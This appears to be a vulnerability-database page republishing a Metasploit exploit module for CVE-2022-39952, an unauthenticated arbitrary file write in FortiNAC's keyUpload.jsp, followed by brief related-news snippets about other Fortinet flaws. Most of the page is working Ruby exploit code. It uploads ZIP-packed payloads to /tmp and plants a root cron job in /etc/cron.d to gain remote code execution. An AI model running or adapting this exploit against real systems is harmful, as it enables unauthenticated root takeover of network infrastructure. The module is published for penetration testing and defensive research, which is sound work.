Headline
Fortinet FortiNAC keyUpload.jsp Arbitrary File Write
This Metasploit module uploads a payload to the /tmp directory in addition to a cron job to /etc/cron.d which executes the payload in the context of the root user. The core vulnerability is an arbitrary file write issue in /configWizard/keyUpload.jsp which is accessible remotely and without authentication. When you send the vulnerable endpoint a ZIP file, it will extract an attacker controlled file to a directory of the attackers choice on the target system. This issue is exploitable on FortiNAC versions 9.4 prior to 9.4.1, FortiNAC versions 9.2 prior to 9.2.6, FortiNAC versions 9.1 prior to 9.1.8, all versions of FortiNAC 8.8, all versions of FortiNAC 8.7, all versions of FortiNAC 8.6, all versions of FortiNAC 8.5, and all versions of FortiNAC 8.3.
### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Fortinet FortiNAC keyUpload.jsp arbitrary file write', 'Description' => %q{ This module uploads a payload to the /tmp directory in addition to a cron job to /etc/cron.d which executes the payload in the context of the root user. The core vulnerability is an arbitrary file write issue in /configWizard/keyUpload.jsp which is accessible remotely and without authentication. When you send the vulnerable endpoint a ZIP file, it will extract an attacker controlled file to a directory of the attackers choice on the target system. This issue is exploitable on the following versions of FortiNAC: FortiNAC version 9.4 prior to 9.4.1 FortiNAC version 9.2 prior to 9.2.6 FortiNAC version 9.1 prior to 9.1.8 FortiNAC 8.8 all versions FortiNAC 8.7 all versions FortiNAC 8.6 all versions FortiNAC 8.5 all versions FortiNAC 8.3 all versions }, 'Author' => [ 'Gwendal Guégniaud', # discovery 'Zach Hanley', # PoC 'jheysel-r7' # module ], 'References' => [ ['URL', 'https://www.horizon3.ai/fortinet-fortinac-cve-2022-39952-deep-dive-and-iocs/'], ['URL', 'https://www.fortiguard.com/psirt/FG-IR-22-300'], ['URL', 'https://github.com/horizon3ai/CVE-2022-39952'], ['URL', 'https://attackerkb.com/topics/9BvxYuiHYJ/cve-2022-39952'], ['CVE', '2022-39952'] ], 'License' => MSF_LICENSE, 'Platform' => %w[linux unix], 'Privileged' => true, 'DefaultOptions' => { 'SSL' => true, 'RPORT' => 8443, 'WfsDelay' => '75' }, 'Arch' => [ ARCH_CMD, ARCH_X64, ARCH_X86 ], 'Targets' => [ [ 'CMD', { 'Arch' => ARCH_CMD, 'Platform' => 'unix' } ], [ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ], [ 'Linux x64', { 'Arch' => ARCH_X64, 'Platform' => 'linux' } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => '2023-02-16', 'Notes' => { 'Stability' => [ CRASH_SAFE ], 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ], 'Reliability' => [ REPEATABLE_SESSION ] } ) ) end def check res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'configWizard', 'keyUpload.jsp'), 'method' => 'POST' }) return Exploit::CheckCode::Unknown('Target did not respond') unless res return Exploit::CheckCode::Safe("Target responded with unexpected HTTP response code: #{res.code}") unless res.code == 200 return Exploit::CheckCode::Appears('Target indicated a successful upload occurred!') if res.body.include?('yams.jsp.portal.SuccessfulUpload') Exploit::CheckCode::Safe('The target responded with a 200 OK message, however the response to our POST request with a blank body did not contain the expected upload successful message!') end def zip_file(filepath, contents) zip = Rex::Zip::Archive.new zip.add_file(filepath, contents) zip.pack end def send_zip_file(filename, contents, file_description) mime = Rex::MIME::Message.new mime.add_part(contents, nil, 'binary', "form-data; name=\"key\"; filename=\"#{filename}\"") print_status("Sending zipped #{file_description} to /configWizard/keyUpload.jsp") res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'configWizard', 'keyUpload.jsp'), 'method' => 'POST', 'ctype' => "multipart/form-data; boundary=#{mime.bound}", 'data' => mime.to_s }) fail_with(Failure::Unknown, 'Failed to send the ZIP file to /configWizard/keyUpload.jsp') unless res && res.code == 200 && res.body.include?('yams.jsp.portal.SuccessfulUpload') print_good('Successfully sent ZIP file') end def cron_file(command) cron_file = 'SHELL=/bin/sh' cron_file << "\n" cron_file << 'PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/sbin:/usr/local/bin' cron_file << "\n" cron_file << "* * * * * root #{command}" cron_file << "\n" cron_file end def exploit cron_filename = Rex::Text.rand_text_alpha(8) cron_path = '/etc/cron.d/' + cron_filename case target['Arch'] when ARCH_CMD cron_command = payload.raw when ARCH_X64, ARCH_X86 payload_filename = Rex::Text.rand_text_alpha(8) payload_path = '/tmp/' + payload_filename payload_data = payload.encoded_exe cron_command = "chmod +x #{payload_path} && #{payload_path}" # zip and send payload zipped_payload = zip_file(payload_path, payload_data) send_zip_file(payload_filename, zipped_payload, 'payload') register_dirs_for_cleanup(payload_path) else fail_with(Failure::BadConfig, 'Invalid target architecture selected') end # zip and send cron job zipped_cron = zip_file(cron_path, cron_file(cron_command)) send_zip_file(cron_filename, zipped_cron, 'cron job') register_dirs_for_cleanup(cron_path) print_status('Waiting for cron job to run') endend
Related news
The China-linked threat actor known as Earth Lusca has been observed targeting government entities using a never-before-seen Linux backdoor called SprySOCKS. Earth Lusca was first documented by Trend Micro in January 2022, detailing the adversary's attacks against public and private sector entities across Asia, Australia, Europe, North America. Active since 2021, the group has relied on
Six months of honeypot data finds that 19% of traffic to sensors were malicious exploit attempts, and 95% of those attempts came from just three botnets.
Fortinet has rolled out updates to address a critical security vulnerability impacting its FortiNAC network access control solution that could lead to the execution of arbitrary code. Tracked as CVE-2023-33299, the flaw is rated 9.6 out of 10 for severity on the CVSS scoring system. It has been described as a case of Java untrusted object deserialization. "A deserialization of untrusted data
Fortinet has released fixes to address 15 security flaws, including one critical vulnerability impacting FortiOS and FortiProxy that could enable a threat actor to take control of affected systems. The issue, tracked as CVE-2023-25610, is rated 9.3 out of 10 for severity and was internally discovered and reported by its security teams. "A buffer underwrite ('buffer underflow') vulnerability in
Organizations are urged to update to the latest versions of FortiNAC to patch a flaw that allows unauthenticated attackers to write arbitrary files on the system.
Fortinet has released security updates to address 40 vulnerabilities in its software lineup, including FortiWeb, FortiOS, FortiNAS, and FortiProxy, among others. Two of the 40 flaws are rated Critical, 15 are rated High, 22 are rated Medium, and one is rated Low in severity. Top of the list is a severe bug residing in the FortiNAC network access control solution (CVE-2022-39952, CVSS score: 9.8)